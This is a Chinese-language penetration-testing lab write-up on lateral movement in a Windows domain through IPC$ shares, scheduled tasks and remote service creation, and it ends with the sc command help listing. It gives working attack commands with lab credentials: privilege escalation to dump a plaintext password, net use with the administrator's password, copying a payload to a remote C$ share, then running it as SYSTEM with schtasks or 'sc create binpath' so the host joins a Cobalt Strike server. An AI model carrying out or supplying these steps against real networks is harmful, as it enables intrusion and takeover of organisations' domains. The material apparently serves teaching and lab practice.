和系统服务横向移动(sc))
IPC配合计划任务横向移动IPC$介绍IPC( Internet ProcessConnection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算 机的共享资源时使用。通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列 表等信息。首先,需要建立一个ipc$net use \\192.168.41.30\ipc$ 密码 /user:administratornet useIPC$利用条件1、开启了139、445端口ipcs可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139、445( Windows2000)端口,可以实现对共享文件打印机的访问。因此,一般来讲,ipcs需要139、445端口的支持。2、管理员开启了默认共享默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$、d$、e$等和系统目录winnt或windows( adminS)通过ipc$,可以实现对这些默认共享目录的访问IPC$连接失败原因用户名或密码错误目标没有打开ipcs默认共享不能成功连接目标的139、445端口IPC$连接常见错误错误号5:拒绝访问错误号51: Windows无法找到网络路径,即网络中存在问题。错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标的lanmanserver服务未启动目标有防火墙(端口过滤)错误号67:找不到网络名,包括lanmanworkstation服务未启动、ipcs已被删除错误号1219:提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了ipcs,需要在删除原连接后重新进行连接。错误号1326:未知的用户名或错误的密码错误号l792;试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动连接域控制器时会出现此情况。错误号2242:此用户的密码已经过期°例如’目标机器设置了账号管理策略,强制用户定期修改密码°实验步骤实验环境Ip用户密码权限192.168.113.153Jackqax123域内普通用户192.168.113.154krbuserqax123域管理员192.168.113.152Administratorqax123域控现在只打下来了用户jack目标让jack用户横向到krbuser用户三个机器防火墙正常开启1.已经打下jack用户2.尝试抓取明文密码失败了失败的原因是因为在执行这个命令时必须需要是这个用户的管理员权限就像这个所以我们需要特权去绕过3.提权并榨取明文密码我试了很多也耽搁了很长时间但是在win10里面就只有uac-token-duplication能用后面抓取明文密码为“qax123”4.尝试读取192.168.113.154krbuser文件net share本机的文件共享是打开的shell dir \\192.168.113.154\C$失败5.建立连接访问成功shell net use \\192.168.113.154\ipc$ qax123 /user:test\krbusershell net use6.让krbuser上线到CS4.8查看进程shell tasklist /s 192.168.113.154可以查看防火墙等情况查看时间net time \\192.168.113.1547.将123.exe复制到krbusercopy 文件 \\IP地址\C$copy 123.exe \\192.168.113.154\C$8. 创建计划任务执行123.exeschtasks /create /s IP地址 /tn 计划任务名 /sc onstart /tr c:\文件 /ru system /fshell schtasks /create /u krbuser /p qax123 /s 192.168.113.154 /tn 123 /sc onstart /tr c:\123.exe /ru system /fschtasks /run /s IP地址 /i /tn 计划任务名schtasks /run /s 192.168.113.154 /i /tn 123这里失败了我们换一个方式成功上线IPC配合系统服务横向移动获取到密码并着手横向时却发现Task Sheduler服务没有启用。这时候我们就可以远程建立服务然后再启用服务来运行我们想要运行的命令。使用sc横向具体步骤创建服务sc \\192.168.113.154 create test binpath cmd.exe /c c:\123.exe开启服务sc \\192.168.113.154 start test一下就成功了删除服务sc \\192.168.17.138 delete test但是这个很明显都可以很明显的发现异常隐藏方法在后面权限维持会讲sc的其他命令描述:SC 是用来与服务控制管理器和服务进行通信的命令行程序。用法:sc server [command] [service name] option1 option2...server 选项的格式为 \\ServerName可通过键入以下命令获取有关命令的更多帮助: sc[command]命令:query-----------查询服务的状态或枚举服务类型的状态。queryex---------查询服务的扩展状态或枚举服务类型的状态。start-----------启动服务。pause-----------向服务发送 PAUSE 控制请求。interrogate-----向服务发送 INTERROGATE 控制请求。continue--------向服务发送 CONTINUE 控制请求。stop------------向服务发送 STOP 请求。config----------更改服务的配置(永久)。description-----更改服务的描述。failure---------更改失败时服务执行的操作。failureflag-----更改服务的失败操作标志。sidtype---------更改服务的服务 SID 类型。privs-----------更改服务的所需特权。managedaccount--更改服务以将服务帐户密码标记为由 LSA 管理。qc--------------查询服务的配置信息。qdescription----查询服务的描述。qfailure--------查询失败时服务执行的操作。qfailureflag----查询服务的失败操作标志。qsidtype--------查询服务的服务 SID 类型。qprivs----------查询服务的所需特权。qtriggerinfo----查询服务的触发器参数。qpreferrednode--查询服务的首选 NUMA 节点。qmanagedaccount-查询服务是否将帐户与 LSA 管理的密码结合使用。qprotection-----查询服务的进程保护级别。quserservice----查询用户服务模板的本地实例。delete ----------(从注册表中)删除服务。create----------创建服务(并将其添加到注册表中)。control---------向服务发送控制。sdshow----------显示服务的安全描述符。sdset-----------设置服务的安全描述符。showsid---------显示与任意名称对应的服务 SID 字符串。triggerinfo-----配置服务的触发器参数。preferrednode---设置服务的首选 NUMA 节点。GetDisplayName--获取服务的 DisplayName。GetKeyName------获取服务的 ServiceKeyName。EnumDepend------枚举服务依赖关系。